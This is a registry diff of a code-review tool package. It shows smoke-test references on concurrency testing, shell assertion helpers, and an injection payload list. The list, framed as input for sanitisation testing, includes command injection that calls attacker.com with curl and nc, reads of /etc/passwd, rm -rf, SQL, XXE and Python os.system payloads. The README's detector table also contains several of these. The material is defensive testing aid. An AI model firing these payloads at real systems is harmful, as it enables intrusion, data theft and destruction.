code-review-forge 2.0.0a1__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- code_forge/__init__.py +14 -0
- code_forge/__main__.py +8 -0
- code_forge/autofix.py +78 -0
- code_forge/baseline.py +216 -0
- code_forge/cli.py +983 -0
- code_forge/delta.py +65 -0
- code_forge/diagnose.py +109 -0
- code_forge/diff.py +82 -0
- code_forge/disposition.py +32 -0
- code_forge/e2e_check.py +641 -0
- code_forge/env_resolver.py +91 -0
- code_forge/errors.py +34 -0
- code_forge/exit_codes.py +37 -0
- code_forge/factories.py +191 -0
- code_forge/falsify.py +85 -0
- code_forge/gate_check.py +466 -0
- code_forge/git.py +351 -0
- code_forge/hold.py +126 -0
- code_forge/install_hooks.py +331 -0
- code_forge/lock.py +162 -0
- code_forge/machine.py +792 -0
- code_forge/mode_resolver.py +60 -0
- code_forge/mutation.py +380 -0
- code_forge/parsers/__init__.py +56 -0
- code_forge/parsers/_sarif.py +77 -0
- code_forge/parsers/base.py +65 -0
- code_forge/parsers/checkpatch.py +66 -0
- code_forge/parsers/clippy.py +85 -0
- code_forge/parsers/non_ascii.py +47 -0
- code_forge/parsers/ruff.py +18 -0
- code_forge/parsers/semgrep.py +18 -0
- code_forge/parsers/shellcheck.py +56 -0
- code_forge/registry.py +153 -0
- code_forge/reporter.py +133 -0
- code_forge/runner.py +205 -0
- code_forge/sarif.py +226 -0
- code_forge/skills/adversarial-qe/SKILL.md +272 -0
- code_forge/skills/code-forge/SKILL.md +1193 -0
- code_forge/skills/code-review-expert/SKILL.md +162 -0
- code_forge/skills/code-review-expert/references/code-quality-checklist.md +130 -0
- code_forge/skills/code-review-expert/references/removal-plan.md +52 -0
- code_forge/skills/code-review-expert/references/security-checklist.md +118 -0
- code_forge/skills/code-review-expert/references/solid-checklist.md +65 -0
- code_forge/skills/kernel-fp-verify/SKILL.md +101 -0
- code_forge/skills/qodo-review/SKILL.md +135 -0
- code_forge/skills/smoke-test/SKILL.md +253 -0
- code_forge/skills/smoke-test/references/boundary-cases.md +114 -0
- code_forge/skills/smoke-test/references/concurrency-patterns.md +306 -0
- code_forge/skills/smoke-test/references/injection-payloads.md +124 -0
- code_forge/skills/smoke-test/test-library/shell/README.md +271 -0
- code_forge/skills/smoke-test/test-library/shell/primitives.sh +352 -0
- code_forge/skills/smoke-test/test-library/shell/primitives_test.sh +324 -0
- code_forge/snapshot.py +196 -0
- code_forge/source.py +64 -0
- code_forge/state.py +246 -0
- code_forge/verdict.py +43 -0
- code_review_forge-2.0.0a1.dist-info/METADATA +237 -0
- code_review_forge-2.0.0a1.dist-info/RECORD +62 -0
- code_review_forge-2.0.0a1.dist-info/WHEEL +5 -0
- code_review_forge-2.0.0a1.dist-info/entry_points.txt +2 -0
- code_review_forge-2.0.0a1.dist-info/licenses/LICENSE +179 -0
- code_review_forge-2.0.0a1.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,306 @@
|
|
|
1
|
+
# Concurrency Testing Patterns
|
|
2
|
+
|
|
3
|
+
Test scenarios for race conditions, deadlocks, and lock contention.
|
|
4
|
+
|
|
5
|
+
## When to Test Concurrency
|
|
6
|
+
|
|
7
|
+
- Code uses locks (`flock`, `fcntl`, mutexes)
|
|
8
|
+
- Code modifies shared files (state files, logs, caches)
|
|
9
|
+
- Code spawns background processes
|
|
10
|
+
- Code uses signals (SIGINT, SIGTERM)
|
|
11
|
+
- Code has check-then-act patterns (TOCTOU)
|
|
12
|
+
|
|
13
|
+
## Race Condition Patterns
|
|
14
|
+
|
|
15
|
+
### 1. Check-Then-Act (TOCTOU)
|
|
16
|
+
|
|
17
|
+
**Vulnerable code**:
|
|
18
|
+
```bash
|
|
19
|
+
if [[ ! -f "$LOCKFILE" ]]; then
|
|
20
|
+
touch "$LOCKFILE" # Race: another process can create between check and touch
|
|
21
|
+
# critical section
|
|
22
|
+
fi
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
**Test**:
|
|
26
|
+
```bash
|
|
27
|
+
# Spawn 10 concurrent instances
|
|
28
|
+
for i in {1..10}; do
|
|
29
|
+
./script.sh &
|
|
30
|
+
done
|
|
31
|
+
wait
|
|
32
|
+
|
|
33
|
+
# Verify only one lockfile created
|
|
34
|
+
ls -l "$LOCKFILE"
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
### 2. Read-Modify-Write
|
|
38
|
+
|
|
39
|
+
**Vulnerable code**:
|
|
40
|
+
```bash
|
|
41
|
+
count=$(cat counter.txt)
|
|
42
|
+
count=$((count + 1))
|
|
43
|
+
echo "$count" > counter.txt # Race: another process can write between read and write
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
**Test**:
|
|
47
|
+
```bash
|
|
48
|
+
echo "0" > counter.txt
|
|
49
|
+
for i in {1..100}; do
|
|
50
|
+
./increment.sh &
|
|
51
|
+
done
|
|
52
|
+
wait
|
|
53
|
+
|
|
54
|
+
# Verify counter is 100 (not less due to lost updates)
|
|
55
|
+
cat counter.txt
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
### 3. File Append Without Lock
|
|
59
|
+
|
|
60
|
+
**Vulnerable code**:
|
|
61
|
+
```bash
|
|
62
|
+
echo "log entry" >> logfile.txt # Race: interleaved writes
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
**Test**:
|
|
66
|
+
```bash
|
|
67
|
+
> logfile.txt
|
|
68
|
+
for i in {1..100}; do
|
|
69
|
+
(echo "entry-$i" >> logfile.txt) &
|
|
70
|
+
done
|
|
71
|
+
wait
|
|
72
|
+
|
|
73
|
+
# Verify 100 complete lines (no partial/interleaved entries)
|
|
74
|
+
wc -l logfile.txt
|
|
75
|
+
grep -c "^entry-" logfile.txt
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
## Deadlock Patterns
|
|
79
|
+
|
|
80
|
+
### 1. Lock Ordering Violation
|
|
81
|
+
|
|
82
|
+
**Vulnerable code**:
|
|
83
|
+
```bash
|
|
84
|
+
# Process A
|
|
85
|
+
flock 9
|
|
86
|
+
flock 10
|
|
87
|
+
|
|
88
|
+
# Process B
|
|
89
|
+
flock 10 # Deadlock: A holds 9 waits for 10, B holds 10 waits for 9
|
|
90
|
+
flock 9
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
**Test**:
|
|
94
|
+
```bash
|
|
95
|
+
# Spawn two processes with opposite lock order
|
|
96
|
+
(flock 9; sleep 1; flock 10; echo "A done") &
|
|
97
|
+
(flock 10; sleep 1; flock 9; echo "B done") &
|
|
98
|
+
|
|
99
|
+
# Wait with timeout
|
|
100
|
+
timeout 5 wait || echo "DEADLOCK DETECTED"
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
### 2. Self-Deadlock
|
|
104
|
+
|
|
105
|
+
**Vulnerable code**:
|
|
106
|
+
```bash
|
|
107
|
+
flock 9
|
|
108
|
+
# ... code that calls itself recursively ...
|
|
109
|
+
flock 9 # Deadlock: trying to acquire same lock twice
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
**Test**:
|
|
113
|
+
```bash
|
|
114
|
+
# Call script recursively
|
|
115
|
+
DEPTH=0 ./script.sh
|
|
116
|
+
# Inside script: DEPTH=$((DEPTH + 1)); if [[ $DEPTH -lt 3 ]]; then ./script.sh; fi
|
|
117
|
+
|
|
118
|
+
# Verify completes without hanging
|
|
119
|
+
timeout 5 ./script.sh || echo "SELF-DEADLOCK DETECTED"
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
## Lock Contention Patterns
|
|
123
|
+
|
|
124
|
+
### 1. High Contention (Many Writers)
|
|
125
|
+
|
|
126
|
+
**Test**:
|
|
127
|
+
```bash
|
|
128
|
+
# Spawn 100 concurrent writers
|
|
129
|
+
for i in {1..100}; do
|
|
130
|
+
./write-with-lock.sh "data-$i" &
|
|
131
|
+
done
|
|
132
|
+
wait
|
|
133
|
+
|
|
134
|
+
# Verify all writes succeeded
|
|
135
|
+
wc -l output.txt # Should be 100
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
### 2. Lock Timeout Fallback
|
|
139
|
+
|
|
140
|
+
**Test**:
|
|
141
|
+
```bash
|
|
142
|
+
# Hold lock indefinitely in background
|
|
143
|
+
(flock 9; sleep 60) &
|
|
144
|
+
HOLDER_PID=$!
|
|
145
|
+
|
|
146
|
+
# Try to acquire with timeout
|
|
147
|
+
flock -w 2 9 || echo "TIMEOUT - fallback triggered"
|
|
148
|
+
|
|
149
|
+
kill $HOLDER_PID
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
### 3. Non-Blocking Lock
|
|
153
|
+
|
|
154
|
+
**Test**:
|
|
155
|
+
```bash
|
|
156
|
+
# Hold lock in background
|
|
157
|
+
(flock 9; sleep 5) &
|
|
158
|
+
|
|
159
|
+
# Try non-blocking acquire
|
|
160
|
+
flock -n 9 && echo "ACQUIRED" || echo "BUSY - fallback triggered"
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
## Signal Handling Patterns
|
|
164
|
+
|
|
165
|
+
### 1. Interrupted System Call
|
|
166
|
+
|
|
167
|
+
**Vulnerable code**:
|
|
168
|
+
```bash
|
|
169
|
+
curl https://api.example.com # SIGINT during download leaves partial file
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
**Test**:
|
|
173
|
+
```bash
|
|
174
|
+
# Start long-running operation
|
|
175
|
+
./script.sh &
|
|
176
|
+
PID=$!
|
|
177
|
+
|
|
178
|
+
# Send SIGINT after 1 second
|
|
179
|
+
sleep 1
|
|
180
|
+
kill -INT $PID
|
|
181
|
+
|
|
182
|
+
# Verify cleanup happened (temp files removed, locks released)
|
|
183
|
+
ls /tmp/script-*.tmp # Should not exist
|
|
184
|
+
flock -n 9 && echo "Lock released" || echo "Lock still held"
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
### 2. Signal During Critical Section
|
|
188
|
+
|
|
189
|
+
**Test**:
|
|
190
|
+
```bash
|
|
191
|
+
# Send signal during file write
|
|
192
|
+
./script.sh &
|
|
193
|
+
PID=$!
|
|
194
|
+
sleep 0.5 # Wait until likely in critical section
|
|
195
|
+
kill -TERM $PID
|
|
196
|
+
|
|
197
|
+
# Verify file not corrupted
|
|
198
|
+
if [[ -f output.txt ]]; then
|
|
199
|
+
# File should be valid JSON/complete lines/etc.
|
|
200
|
+
jq . output.txt || echo "CORRUPTED"
|
|
201
|
+
fi
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
## Testing Tools
|
|
205
|
+
|
|
206
|
+
### Parallel Execution
|
|
207
|
+
|
|
208
|
+
```bash
|
|
209
|
+
# GNU parallel (if available)
|
|
210
|
+
parallel -j 10 ./script.sh ::: {1..100}
|
|
211
|
+
|
|
212
|
+
# xargs
|
|
213
|
+
seq 1 100 | xargs -P 10 -I {} ./script.sh {}
|
|
214
|
+
|
|
215
|
+
# Bash background jobs
|
|
216
|
+
for i in {1..100}; do ./script.sh & done; wait
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
### Stress Testing
|
|
220
|
+
|
|
221
|
+
```bash
|
|
222
|
+
# stress-ng (CPU/memory/I/O stress)
|
|
223
|
+
stress-ng --cpu 4 --io 2 --vm 1 --timeout 60s &
|
|
224
|
+
STRESS_PID=$!
|
|
225
|
+
|
|
226
|
+
# Run concurrent tests under stress
|
|
227
|
+
for i in {1..50}; do ./script.sh & done
|
|
228
|
+
wait
|
|
229
|
+
|
|
230
|
+
kill $STRESS_PID
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
### Race Detection
|
|
234
|
+
|
|
235
|
+
```bash
|
|
236
|
+
# Run same operation many times to increase race probability
|
|
237
|
+
for attempt in {1..1000}; do
|
|
238
|
+
./script.sh &
|
|
239
|
+
done
|
|
240
|
+
wait
|
|
241
|
+
|
|
242
|
+
# Check for corruption
|
|
243
|
+
if [[ $(wc -l < state.txt) -ne 1000 ]]; then
|
|
244
|
+
echo "RACE CONDITION DETECTED"
|
|
245
|
+
fi
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
## Verification Checklist
|
|
249
|
+
|
|
250
|
+
After concurrent execution:
|
|
251
|
+
|
|
252
|
+
- [ ] State files have valid content (not corrupted)
|
|
253
|
+
- [ ] Log files have expected number of entries (no lost writes)
|
|
254
|
+
- [ ] No "text file busy" errors
|
|
255
|
+
- [ ] No orphaned lock files
|
|
256
|
+
- [ ] No zombie processes (`ps aux | grep defunct`)
|
|
257
|
+
- [ ] Exit codes are correct (not all failures)
|
|
258
|
+
- [ ] Temp files cleaned up (`ls /tmp/script-*`)
|
|
259
|
+
|
|
260
|
+
## Common Bugs Found
|
|
261
|
+
|
|
262
|
+
| Bug | Symptom | Root Cause |
|
|
263
|
+
|-----|---------|------------|
|
|
264
|
+
| Lost updates | Counter is 87 instead of 100 | Read-modify-write without lock |
|
|
265
|
+
| Corrupted files | JSON parse error | Interleaved writes |
|
|
266
|
+
| Orphaned locks | Second run hangs forever | Lock not released on error |
|
|
267
|
+
| Partial writes | File has incomplete lines | Signal during write |
|
|
268
|
+
| Deadlock | Process hangs indefinitely | Lock ordering violation |
|
|
269
|
+
|
|
270
|
+
## Example Test Script
|
|
271
|
+
|
|
272
|
+
```bash
|
|
273
|
+
#!/bin/bash
|
|
274
|
+
# Concurrency test for kimi-next-key.sh
|
|
275
|
+
|
|
276
|
+
STATE_FILE="$HOME/.config/kimi/state"
|
|
277
|
+
echo "0" > "$STATE_FILE"
|
|
278
|
+
|
|
279
|
+
echo "=== Test 1: 10 concurrent calls ==="
|
|
280
|
+
for i in {1..10}; do
|
|
281
|
+
./kimi-next-key.sh > /dev/null &
|
|
282
|
+
done
|
|
283
|
+
wait
|
|
284
|
+
|
|
285
|
+
# Verify state file not corrupted
|
|
286
|
+
if [[ $(cat "$STATE_FILE") =~ ^[0-9]+$ ]]; then
|
|
287
|
+
echo "PASS: state file valid"
|
|
288
|
+
else
|
|
289
|
+
echo "FAIL: state file corrupted"
|
|
290
|
+
fi
|
|
291
|
+
|
|
292
|
+
echo "=== Test 2: Lock contention fallback ==="
|
|
293
|
+
# Hold lock in background
|
|
294
|
+
(flock 9; sleep 5) 9>"$STATE_FILE.lock" &
|
|
295
|
+
HOLDER=$!
|
|
296
|
+
|
|
297
|
+
# Try to acquire (should fallback)
|
|
298
|
+
output=$(./kimi-next-key.sh 2>&1)
|
|
299
|
+
if echo "$output" | grep -q "unvalidated fallback"; then
|
|
300
|
+
echo "PASS: fallback triggered"
|
|
301
|
+
else
|
|
302
|
+
echo "FAIL: no fallback message"
|
|
303
|
+
fi
|
|
304
|
+
|
|
305
|
+
kill $HOLDER 2>/dev/null
|
|
306
|
+
```
|
|
@@ -0,0 +1,124 @@
|
|
|
1
|
+
# Injection Attack Payloads
|
|
2
|
+
|
|
3
|
+
Common payloads for security testing. Use these to verify input sanitization.
|
|
4
|
+
|
|
5
|
+
## Command Injection (Shell)
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
# Basic command substitution
|
|
9
|
+
$(id)
|
|
10
|
+
`whoami`
|
|
11
|
+
$(curl attacker.com)
|
|
12
|
+
|
|
13
|
+
# Command chaining
|
|
14
|
+
; ls -la
|
|
15
|
+
&& cat /etc/passwd
|
|
16
|
+
|| rm -rf /tmp/test
|
|
17
|
+
|
|
18
|
+
# Pipe injection
|
|
19
|
+
| nc attacker.com 4444
|
|
20
|
+
|
|
21
|
+
# Backgrounding
|
|
22
|
+
& sleep 60 &
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
## Python Code Injection
|
|
26
|
+
|
|
27
|
+
```python
|
|
28
|
+
# String escape
|
|
29
|
+
"""; import os; os.system("id"); x="""
|
|
30
|
+
'''; __import__('os').system('whoami'); y='''
|
|
31
|
+
|
|
32
|
+
# Import injection
|
|
33
|
+
__import__('subprocess').call(['id'])
|
|
34
|
+
eval('__import__("os").system("ls")')
|
|
35
|
+
|
|
36
|
+
# File operations
|
|
37
|
+
open('/etc/passwd').read()
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
## JSON Injection
|
|
41
|
+
|
|
42
|
+
```json
|
|
43
|
+
# Quote escape
|
|
44
|
+
{"key": "value\", \"injected\": \"data"}
|
|
45
|
+
|
|
46
|
+
# Unicode escape
|
|
47
|
+
{"key": ""injected""}
|
|
48
|
+
|
|
49
|
+
# Nested injection
|
|
50
|
+
{"key": {"nested": "value\"}, \"evil\": \"payload"}}
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
## Path Traversal
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
# Directory traversal
|
|
57
|
+
../../etc/passwd
|
|
58
|
+
../../../tmp/evil.sh
|
|
59
|
+
....//....//etc/passwd
|
|
60
|
+
|
|
61
|
+
# Null byte injection (older systems)
|
|
62
|
+
/etc/passwd%00.txt
|
|
63
|
+
../../etc/passwd\x00
|
|
64
|
+
|
|
65
|
+
# URL encoding
|
|
66
|
+
..%2F..%2Fetc%2Fpasswd
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
## SQL Injection
|
|
70
|
+
|
|
71
|
+
```sql
|
|
72
|
+
# Authentication bypass
|
|
73
|
+
' OR 1=1 --
|
|
74
|
+
admin' --
|
|
75
|
+
' OR 'a'='a
|
|
76
|
+
|
|
77
|
+
# Data extraction
|
|
78
|
+
' UNION SELECT password FROM users --
|
|
79
|
+
|
|
80
|
+
# Destructive
|
|
81
|
+
'; DROP TABLE users; --
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
## LDAP Injection
|
|
85
|
+
|
|
86
|
+
```ldap
|
|
87
|
+
# Filter bypass
|
|
88
|
+
*)(uid=*))(|(uid=*
|
|
89
|
+
admin)(&(password=*))
|
|
90
|
+
|
|
91
|
+
# Wildcard
|
|
92
|
+
*
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
## XML/XXE Injection
|
|
96
|
+
|
|
97
|
+
```xml
|
|
98
|
+
<!-- External entity -->
|
|
99
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
100
|
+
<root>&xxe;</root>
|
|
101
|
+
|
|
102
|
+
<!-- Billion laughs -->
|
|
103
|
+
<!DOCTYPE lolz [
|
|
104
|
+
<!ENTITY lol "lol">
|
|
105
|
+
<!ENTITY lol2 "&lol;&lol;">
|
|
106
|
+
]>
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
## Testing Methodology
|
|
110
|
+
|
|
111
|
+
1. **Identify injection points**: User input, API responses, file contents, environment variables
|
|
112
|
+
2. **Select relevant payloads**: Match payload type to context (shell/Python/JSON/etc.)
|
|
113
|
+
3. **Execute with payload**: Replace normal input with attack payload
|
|
114
|
+
4. **Verify no execution**: Check that payload is treated as literal data
|
|
115
|
+
5. **Check error handling**: Ensure errors don't leak sensitive info
|
|
116
|
+
|
|
117
|
+
## Safe vs Unsafe
|
|
118
|
+
|
|
119
|
+
| Context | Unsafe | Safe |
|
|
120
|
+
|---------|--------|------|
|
|
121
|
+
| Shell command | `os.system(f"ls {user_input}")` | `subprocess.run(['ls', user_input])` |
|
|
122
|
+
| Python eval | `eval(user_input)` | `json.loads(user_input)` |
|
|
123
|
+
| SQL query | `f"SELECT * FROM users WHERE id={uid}"` | `cursor.execute("SELECT * FROM users WHERE id=?", (uid,))` |
|
|
124
|
+
| File path | `open(f"/data/{user_input}")` | `open(os.path.join('/data', os.path.basename(user_input)))` |
|
|
@@ -0,0 +1,271 @@
|
|
|
1
|
+
# Shell Smoke-Test Primitives
|
|
2
|
+
|
|
3
|
+
## Quick Start
|
|
4
|
+
|
|
5
|
+
```bash
|
|
6
|
+
source ~/.claude/skills/smoke-test/test-library/shell/primitives.sh
|
|
7
|
+
```
|
|
8
|
+
|
|
9
|
+
## Primitives Index
|
|
10
|
+
|
|
11
|
+
### Helpers
|
|
12
|
+
|
|
13
|
+
| Function | Parameters | Purpose |
|
|
14
|
+
|----------|-----------|---------|
|
|
15
|
+
| `run_and_capture <cmd...>` | command + args | Execute command, capture stdout/stderr/status to `$SMOKE_LAST_STDOUT`/`$SMOKE_LAST_STDERR`/`$SMOKE_LAST_STATUS` |
|
|
16
|
+
| `run_concurrent <N> <cmd...>` | N=count, then command | Launch N background instances, store results in `$CONCURRENT_RESULT_DIR`/`$CONCURRENT_PIDS` |
|
|
17
|
+
| `concurrent_wait` | -- | Reap all background PIDs from `run_concurrent` |
|
|
18
|
+
|
|
19
|
+
### Execution
|
|
20
|
+
|
|
21
|
+
| Function | Parameters | Purpose |
|
|
22
|
+
|----------|-----------|---------|
|
|
23
|
+
| `assert_success <status> [desc]` | exit code, description | PASS if status == 0 |
|
|
24
|
+
| `assert_failure <status> [desc]` | exit code, description | PASS if status != 0 |
|
|
25
|
+
| `assert_exit_code <expected> <actual> [desc]` | expected, actual, description | PASS if actual == expected |
|
|
26
|
+
|
|
27
|
+
### Output
|
|
28
|
+
|
|
29
|
+
| Function | Parameters | Purpose |
|
|
30
|
+
|----------|-----------|---------|
|
|
31
|
+
| `assert_output_contains <output> <pattern> [desc]` | text, substring, description | PASS if output contains pattern (fixed string) |
|
|
32
|
+
| `assert_output_not_contains <output> <pattern> [desc]` | text, substring, description | PASS if output does NOT contain pattern |
|
|
33
|
+
| `assert_stderr_empty [desc]` | description | PASS if `$SMOKE_LAST_STDERR` file is empty |
|
|
34
|
+
| `assert_stderr_contains <stderr> <pattern> [desc]` | text, substring, description | PASS if stderr text contains pattern |
|
|
35
|
+
|
|
36
|
+
### File/State
|
|
37
|
+
|
|
38
|
+
| Function | Parameters | Purpose |
|
|
39
|
+
|----------|-----------|---------|
|
|
40
|
+
| `assert_file_exists <file> [desc]` | path, description | PASS if regular file exists |
|
|
41
|
+
| `assert_file_not_exists <file> [desc]` | path, description | PASS if file does NOT exist |
|
|
42
|
+
| `assert_file_contains <file> <pattern> [desc]` | path, substring, description | PASS if file contains pattern |
|
|
43
|
+
|
|
44
|
+
### Security
|
|
45
|
+
|
|
46
|
+
| Function | Parameters | Purpose |
|
|
47
|
+
|----------|-----------|---------|
|
|
48
|
+
| `assert_no_command_exec <input> [context]` | string, context | PASS if no `$()`, backticks, `<()`, `;&\|` in input |
|
|
49
|
+
| `assert_no_command_exec_json <input> [context]` | string, context | JSON/URL-safe: only checks `$()`, backticks, `<()`, skips `;&\|` |
|
|
50
|
+
| `assert_no_path_traversal <input> [context]` | string, context | PASS if no `../`, `..\`, URL-encoded traversal |
|
|
51
|
+
|
|
52
|
+
### Process
|
|
53
|
+
|
|
54
|
+
| Function | Parameters | Purpose |
|
|
55
|
+
|----------|-----------|---------|
|
|
56
|
+
| `assert_no_zombie [pid] [desc] [max_depth]` | root PID, description, max depth (default: 100) | PASS if no zombie processes in process tree (recursive `/proc` scan, depth-limited) |
|
|
57
|
+
| `assert_temp_clean [pattern] [desc]` | glob pattern, description | PASS if no matching temp files (default: `/tmp/smoke-test-*`) |
|
|
58
|
+
|
|
59
|
+
### Data
|
|
60
|
+
|
|
61
|
+
| Function | Parameters | Purpose |
|
|
62
|
+
|----------|-----------|---------|
|
|
63
|
+
| `assert_json_valid <file-or-str> [desc] [schema]` | path or JSON string, description, optional jq schema expression | PASS if valid JSON; optional `schema` validates structure via `jq -e`; SKIP if jq not installed |
|
|
64
|
+
|
|
65
|
+
## Decision Table
|
|
66
|
+
|
|
67
|
+
| Change Type | Required | Optional |
|
|
68
|
+
|------------|----------|----------|
|
|
69
|
+
| New CLI parameter | `assert_success`, `assert_output_contains` | `assert_stderr_empty` |
|
|
70
|
+
| Error handling | `assert_failure`, `assert_stderr_contains` | `assert_exit_code` |
|
|
71
|
+
| File operations | `assert_file_exists`, `assert_file_contains` | `assert_file_not_exists` |
|
|
72
|
+
| Concurrency | `assert_success` (xN), `assert_no_zombie` | `assert_temp_clean`, `assert_file_contains` (race check) |
|
|
73
|
+
| Security patch | `assert_no_command_exec`, `assert_no_path_traversal` | `assert_output_not_contains` |
|
|
74
|
+
| API response | `assert_json_valid`, `assert_output_contains` | `assert_no_command_exec_json` (if response passed to shell) |
|
|
75
|
+
| Config parsing | `assert_success`, `assert_file_contains` | -- |
|
|
76
|
+
| Log output | `assert_output_contains` | `assert_stderr_empty` |
|
|
77
|
+
| Cleanup logic | `assert_file_not_exists` | -- |
|
|
78
|
+
|
|
79
|
+
## Act Pattern
|
|
80
|
+
|
|
81
|
+
### Standard (single command)
|
|
82
|
+
|
|
83
|
+
```bash
|
|
84
|
+
run_and_capture ./script.sh --flag value
|
|
85
|
+
output=$(cat "$SMOKE_LAST_STDOUT")
|
|
86
|
+
assert_success "$SMOKE_LAST_STATUS" "script.sh --flag"
|
|
87
|
+
assert_output_contains "$output" "expected substring" "flag output"
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
### Concurrent (N instances, zombie-safe)
|
|
91
|
+
|
|
92
|
+
```bash
|
|
93
|
+
run_concurrent 5 ./kimi-next-key.sh
|
|
94
|
+
sleep 0.5 # wait for child exits, zombie forms
|
|
95
|
+
assert_no_zombie $$ "kimi-next-key" # detect BEFORE reap
|
|
96
|
+
concurrent_wait; cw_status=$?
|
|
97
|
+
assert_success "$cw_status" "concurrent execution"
|
|
98
|
+
# Per-instance diagnostics on failure
|
|
99
|
+
if [[ $cw_status -ne 0 ]]; then
|
|
100
|
+
for ((i=0; i<5; i++)); do
|
|
101
|
+
s=$(cat "$CONCURRENT_RESULT_DIR/$i.status" 2>/dev/null || echo unknown)
|
|
102
|
+
(( s != 0 )) && echo " instance $i FAIL: exit=$s"
|
|
103
|
+
done
|
|
104
|
+
fi
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
## Safety Primitive Usage Guide
|
|
108
|
+
|
|
109
|
+
### `assert_no_command_exec`
|
|
110
|
+
|
|
111
|
+
**Applicable**: input passed to `eval`/`sh -c`, constructing shell commands, `source $input`.
|
|
112
|
+
|
|
113
|
+
**NOT applicable**: JSON/XML/YAML data, URL query strings (contain `&`), regex patterns (contain `|`). For these, use `assert_no_command_exec_json` instead.
|
|
114
|
+
|
|
115
|
+
### `assert_no_command_exec_json`
|
|
116
|
+
|
|
117
|
+
JSON/URL-safe variant. Only checks for command execution/substitution (`$()`, backticks, `<()`), skips `;&|` which appear legitimately in URL query strings and regex patterns.
|
|
118
|
+
|
|
119
|
+
| Input | `assert_no_command_exec` | `assert_no_command_exec_json` |
|
|
120
|
+
|-------|--------------------------|------------------------------|
|
|
121
|
+
| `$(id)` | FAIL | FAIL |
|
|
122
|
+
| `` `whoami` `` | FAIL | FAIL |
|
|
123
|
+
| `<(cat /etc/passwd)` | FAIL | FAIL |
|
|
124
|
+
| `; rm -rf /` | FAIL | PASS (false positive avoided) |
|
|
125
|
+
| `key=value&foo=bar` | FAIL | PASS (URL-safe) |
|
|
126
|
+
| `error\|warn\|info` | FAIL | PASS (regex-safe) |
|
|
127
|
+
|
|
128
|
+
**Use when**: input contains structured data (JSON, URL params, regex), but still want to catch command execution via `$()`, backticks, or `<()`.
|
|
129
|
+
|
|
130
|
+
### Known Boundaries
|
|
131
|
+
|
|
132
|
+
These attack vectors are intentionally not covered. They require semantic parsing beyond smoke-test scope:
|
|
133
|
+
|
|
134
|
+
| Vector | Reason |
|
|
135
|
+
|--------|--------|
|
|
136
|
+
| `${IFS}` / `${var:-cmd}` variable expansion | `${}` is ubiquitous in legitimate configs, templates, and sed patterns. Distinguishing malicious expansion from benign usage requires shell-semantic parsing. Cover via semgrep in Step 0. |
|
|
137
|
+
| Nested obfuscation (`$($(echo id))`) | Detected (outer `$()` fires). Inner payload is not de-obfuscated -- that's the job of a static analyzer. |
|
|
138
|
+
|
|
139
|
+
### `assert_no_path_traversal`
|
|
140
|
+
|
|
141
|
+
Detects `../` and URL-encoded `%2e%2e%2f`. Absolute path detection (`^/`) is commented out by default -- enable per context.
|
|
142
|
+
|
|
143
|
+
### `assert_no_zombie` Depth Limit
|
|
144
|
+
|
|
145
|
+
The optional `max_depth` parameter (default: 100) prevents infinite recursion in abnormally deep process trees. On depth exceeded, emits a WARNING and returns without counting as FAIL:
|
|
146
|
+
|
|
147
|
+
```bash
|
|
148
|
+
# Default: max depth 100
|
|
149
|
+
assert_no_zombie $$ "default depth"
|
|
150
|
+
|
|
151
|
+
# Shallow scan: only check depth <= 10
|
|
152
|
+
assert_no_zombie $$ "shallow check" 10
|
|
153
|
+
|
|
154
|
+
# Deep scan for known deep process trees
|
|
155
|
+
assert_no_zombie $$ "deep check" 500
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
### `assert_json_valid` Schema Validation
|
|
159
|
+
|
|
160
|
+
The optional `schema` parameter accepts a jq boolean expression. After format validation passes, runs `jq -e "$schema"` for structural validation:
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
# Format-only validation (backward compatible)
|
|
164
|
+
assert_json_valid '{"key":"value"}' "basic check"
|
|
165
|
+
|
|
166
|
+
# Schema: assert a specific value
|
|
167
|
+
assert_json_valid '{"status":"ok"}' "status check" '.status == "ok"'
|
|
168
|
+
|
|
169
|
+
# Schema: assert field exists and is truthy
|
|
170
|
+
assert_json_valid '{"count":5}' "has count" '.count'
|
|
171
|
+
|
|
172
|
+
# Schema: assert numeric range
|
|
173
|
+
assert_json_valid '{"code":200}' "http 200" '.code >= 200 and .code < 300'
|
|
174
|
+
|
|
175
|
+
# From file with schema
|
|
176
|
+
echo '{"items":["a","b"]}' > /tmp/resp.json
|
|
177
|
+
assert_json_valid /tmp/resp.json "has items array" '.items | length > 0'
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
